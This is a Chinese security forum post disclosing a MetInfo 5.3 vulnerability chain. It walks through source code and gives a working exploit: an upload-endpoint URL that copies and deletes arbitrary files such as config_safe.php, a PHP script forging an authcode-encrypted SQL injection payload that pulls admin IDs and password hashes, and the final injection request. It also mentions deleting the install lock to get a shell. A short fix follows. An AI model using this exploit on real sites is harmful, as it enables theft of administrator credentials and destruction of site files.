HanDs
管理员

[7月漏洞公开] Metinfo 最新版前台注入一枚(可无需登陆,可直接出任意数据) 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

好久没挖洞拉, [email protected] 带我挖的洞,感人。

这个洞,能干的事情还有很多,不仅仅能注入。

详细说明:

在app\system\include\module\uploadify.class.php中



code 区域
public function doupfile(){
global $_M;
$this->upfile->set_upfile();
$info['savepath'] = $_M['form']['savepath'];
$info['format'] = $_M['form']['format'];
$info['maxsize'] = $_M['form']['maxsize'];
$info['is_rename'] = $_M['form']['is_rename'];
$info['is_overwrite'] = $_M['form']['is_overwrite'];
$this->set_upload($info);
$back = $this->upload($_M['form']['formname']);
if($_M['form']['type']==1){
if($back['error']){
$back['error'] = $back['errorcode'];
}else{
$backs['path'] = $back['path'];
$backs['append'] = 'false';
$back = $backs;
}
}
echo jsonencode($back);
}





可以看到 什么上传的路径啊 都是可控的。。

跟一下。

code 区域
public function set_upload($info){
global $_M;
$this->upfile->set('savepath', $info['savepath']);
$this->upfile->set('format', $info['format']);
$this->upfile->set('maxsize', $info['maxsize']);
$this->upfile->set('is_rename', $info['is_rename']);
$this->upfile->set('is_overwrite', $info['is_overwrite']);
}





设置了一下属性。



在看一下上传的地方



code 区域
public function upload($form = '') {
global $_M;
if (is_array($form)) {
$filear = $form;
}else{
$filear = $_FILES[$form];
}
if(!$filear){
foreach($_FILES as $key => $val){
$filear = $_FILES[$key];
break;
}
}
//是否能正常上传
if(!is_array($filear))$filear['error'] = 4;
if($filear['error'] != 0 ){
$errors = array(
0 => $_M['word']['upfileOver4'],
1 => $_M['word']['upfileOver'],
2 => $_M['word']['upfileOver1'],
3 => $_M['word']['upfileOver2'],
4 => $_M['word']['upfileOver3'],
6 => $_M['word']['upfileOver5'],
7 => $_M['word']['upfileOver5']
);
$error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
return $this->error($errors[$filear['error']]);
}
//文件大小是否正确
if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) {
return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");
}
//文件后缀是否为合法后缀
$this->getext($filear["name"]); //获取允许的后缀
if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
if ($_M['config']['met_file_format']) {
if($_M['config']['met_file_format'] != "" && !in_array(strtolower($this->ext), explode('|',strtolower($_M['config']['met_file_format']))) && $filear){
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
} else {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
if ($this->format) {
if ($this->format != "" && !in_array(strtolower($this->ext), explode('|',strtolower($this->format))) && $filear) {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
}
//文件名重命名
$this->set_savename($filear["name"], $this->is_rename);
//新建保存文件
if(stripos($this->savepath, PATH_WEB.'upload/') !== 0){
return $this->error($_M['word']['upfileFail2']);
}
if (!makedir($this->savepath)) {
return $this->error($_M['word']['upfileFail2']);
}
//复制文件
$upfileok=0;
$file_tmp=$filear["tmp_name"];
$file_name=$this->savepath.$this->savename;
if (stristr(PHP_OS,"WIN")) {
$file_name = @iconv("utf-8","GBK",$file_name);
}
if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
} elseif (copy($file_tmp, $file_name)) {
$upfileok=1;
}
if (!$upfileok) {
if (file_put_contents($this->savepath.'test.txt','metinfo')) {
$_M['word']['upfileOver4']=$_M['word']['upfileOver5'];
}
unlink($this->savepath.'test.txt');
$errors = array(0 => $_M['word']['upfileOver4'], 1 =>$_M['word']['upfileOver'], 2 => $_M['word']['upfileOver1'], 3 => $_M['word']['upfileOver2'], 4 => $_M['word']['upfileOver3'], 6=> $_M['word']['upfileOver5'], 7=> $_M['word']['upfileOver5']);
$filear['error']=$filear['error']?$filear['error']:0;
return $this->error($errors[$filear['error']]);
} else {
@unlink($filear['tmp_name']); //Delete temporary files
}

$back = '../'.str_replace(PATH_WEB, '', $this->savepath).$this->savename;
return $this->sucess($back);
}





基本都是可控的 。。 但是



code 区域
if ($_M['config']['met_file_format']) {
if($_M['config']['met_file_format'] != "" && !in_array(strtolower($this->ext), explode('|',strtolower($_M['config']['met_file_format']))) && $filear){
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
}





可以的白名单限制了我们的filename 必须为jpg 之类的 没办法任意上传了。



继续看下面的。



code 区域
if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
}





来看看$file_name的限制



code 区域
$name_verification = explode('.',$filename);
$verification_mun = count($name_verification);
if($verification_mun>2){
$verification_mun1 = $verification_mun-1;
$name_verification1 = $name_verification[0];
for($i=0;$i<$verification_mun1;$i++){
$name_verification1 .= '_'.$name_verification[$i];
}
$name_verification1 .= '.'.$name_verification[$verification_mun1];
$filename = $name_verification1;
}
$filename = str_replace(array(":", "*", "?", "|", "/" , "\\" , "\"" , "<" , ">" , "——" , " " ),'_',$filename);
if (stristr(PHP_OS,"WIN")) {
$filename_temp = @iconv("utf-8","GBK",$filename);
}
$i=0;
$savename_temp=str_replace('.'.$this->ext,'',$filename_temp);
while (file_exists($this->savepath.$filename_temp)) {
$i++;
$filename_temp = $savename_temp.'('.$i.')'.'.'.$this->ext;
}
if ($i != 0) {
$filename = str_replace('.'.$this->ext,'',$filename).'('.$i.')'.'.'.$this->ext;
}
}
return $this->savename = $filename;





这里的$file_name 是必须以.jpg结尾的。 而且之前的小数点都会被替换为_

所以上传这个很蛋疼。。基本放弃了。



但是呢



code 区域
if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
} elseif (copy($file_tmp, $file_name)) {
$upfileok=1;
}





这里的$file_name 因为之前的限制 不能直接上传php



但是我们看一下$file_tmp 怎么来的



$file_tmp=$filear["tmp_name"];

再看看$filear又是咋来的



code 区域
if (is_array($form)) {
$filear = $form;
}else{
$filear = $_FILES[$form];
}



可以看到 如果我们传递的是_FILES的话 那么这个tmp_name 肯定是不可控制的。

但是上面 如果我们传递的是数组过来的话。 那么这个$filear就可控了。



这里的move_uploaded_file 因为路径的原因会失败 那么就会进行copy



copy($file_tmp, $file_name) 那么我们就可以复制任意的一个文件成一个jpg



我们就可以复制配置文件成jpg 然后就可以看到配置文件的源码了。



但是 很不幸的是。



code 区域
if (!$upfileok) {
if (file_put_contents($this->savepath.'test.txt','metinfo')) {
$_M['word']['upfileOver4']=$_M['word']['upfileOver5'];
}
unlink($this->savepath.'test.txt');
$errors = array(0 => $_M['word']['upfileOver4'], 1 =>$_M['word']['upfileOver'], 2 => $_M['word']['upfileOver1'], 3 => $_M['word']['upfileOver2'], 4 => $_M['word']['upfileOver3'], 6=> $_M['word']['upfileOver5'], 7=> $_M['word']['upfileOver5']);
$filear['error']=$filear['error']?$filear['error']:0;
return $this->error($errors[$filear['error']]);
} else {
@unlink($filear['tmp_name']); //Delete temporary files
}





如果文件上传成功后 会删掉我们的临时文件。

这个是一个很正常的做法, 但是这时候我们的"临时文件"是我们网站的配置文件。 也会造成损失。



当然 这里也会造成任意文件删掉,但是测试的时候发现应该是config/config_db.php设置了权限 是删不掉的 其他的文件都能删掉。



进一步的利用 我们可以删掉install的lock 达到重装系统 最后getshell。

但是毕竟造成的损失太大。 找一个损失小的又能造成高危漏洞的地方。



在config/config_safe.php中 里面只有一行代码。



<?php/*R06DdgYN29vdspLQPZU52tMjElhnGSQe*/?>



这里面保存的是authcode函数 所用的key



我们在读取这个文件之后 这个文件就会被删掉。



我们再来看一下authcode函数



code 区域
public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);





这时候因为config_safe.php被删掉了(删掉了并不会影响网站的正常运行), 那么$met_webkeys 就为空



$key ? $key : UC_KEY 这里的判断 因为$key的空 那么结果就是UC_KEY



但是也并没有UC_KEY这个常量 所以 UC_KEY就是一个字符串 我们的$key 就是md5后的UC_KEY



我们就能获得任意字符串经过authcode后的加密字符串。



再来找一下能在解密后利用的地方。



在app\system\web\user\profile.class.php中



code 区域
public function dosafety_emailadd() {
global $_M;
if($_M['form']['p']){
$auth = load::sys_class('auth', 'new');
$email = $auth->decode($_M['form']['p']);
if($email){
if($this->userclass->editor_uesr_email($_M['user']['id'], $email)){
okinfo($_M['url']['profile_safety'], $_M['word']['bindingok']);





code 区域
public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}



这里我们$email 是对我们传递进来的变量解密后获得的

code 区域
public function editor_uesr_email($userid, $email){
global $_M;
if(!$userid){
return false;
}
if($this->get_user_by_email($email)){
return false;
}
$query = "UPDATE {$_M['table']['user']} SET email = '{$email}' WHERE id = '{$userid}' ";
DB::query($query);
return true;
}





然后就直接带入了查询。

这里的话 有两种方式获取数据。



1: 我们自己注册一个会员 然后update我们的email 直接出数据

2: 不注册会员,直接延时盲注来获得数据。





漏洞证明:

演示下流程



第一步

http://localhost/metinfo5.3/app/system/entrance.php?c=uploadify&a=doupfile&savepath=../&formname[]=file&formname[name]=yu.jpg&formname[tmp_name]=../../config/config_safe.php&is_rename=0



1.png





返回{"error":"0","path":"..\/upload\/..\/yu.jpg"}



然后访问

2.png





返回

<?php/*Ae2mhnCxNoWRBkQbVyJiIvjuxnJElnSJ*/?>





然后写一个脚本

code 区域
<?php 

exit(authcode("',email=(select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1) where username = 'xiaoyu'#",'ENCODE'));

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){

$key = 'UC_KEY';
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}



然后访问一下这个文件



4.png



得到

86aeSfPSoF2GzlEZT/P/5SYZtef5kRNd/w5WSzvqnG5abewRENEPluivs1go/Qr%2bzOiZe1N7tFHFOrw5Z63TiaPuqT005coGkjt5H6u5gkHxXrkGo3DU0P7rb9InuTdquyY5Z//DiooyKPfwblSiyQ9WepGho1leUDPU2%2bhMXjAQfnx33pQ





4.png





然后去注册一个号 xiaoyu xiaoyu



3.png





再请求



http://localhost/metinfo5.3/admin/index.php?m=web&n=user&c=profile&a=dosafety_emailadd&password=xx&p=86aeSfPSoF2GzlEZT/P/5SYZtef5kRNd/w5WSzvqnG5abewRENEPluivs1go/Qr%2bzOiZe1N7tFHFOrw5Z63TiaPuqT005coGkjt5H6u5gkHxXrkGo3DU0P7rb9InuTdquyY5Z//DiooyKPfwblSiyQ9WepGho1leUDPU2%2bhMXjAQfnx33pQ



5.png





最后访问http://localhost/metinfo5.3/member/basic.php?lang=cn&a=dosafety



6.png







修复方案:

if (is_array($form)) {

$filear = $form;

}else{

$filear = $_FILES[$form];

}



直接改成 $filear = $_FILES[$form]; 把。



当然还有一些地方 自己看看咯。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
Metinfo 最新版前台注入一枚 ( 可无需登陆 可直接出任意数据 )
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复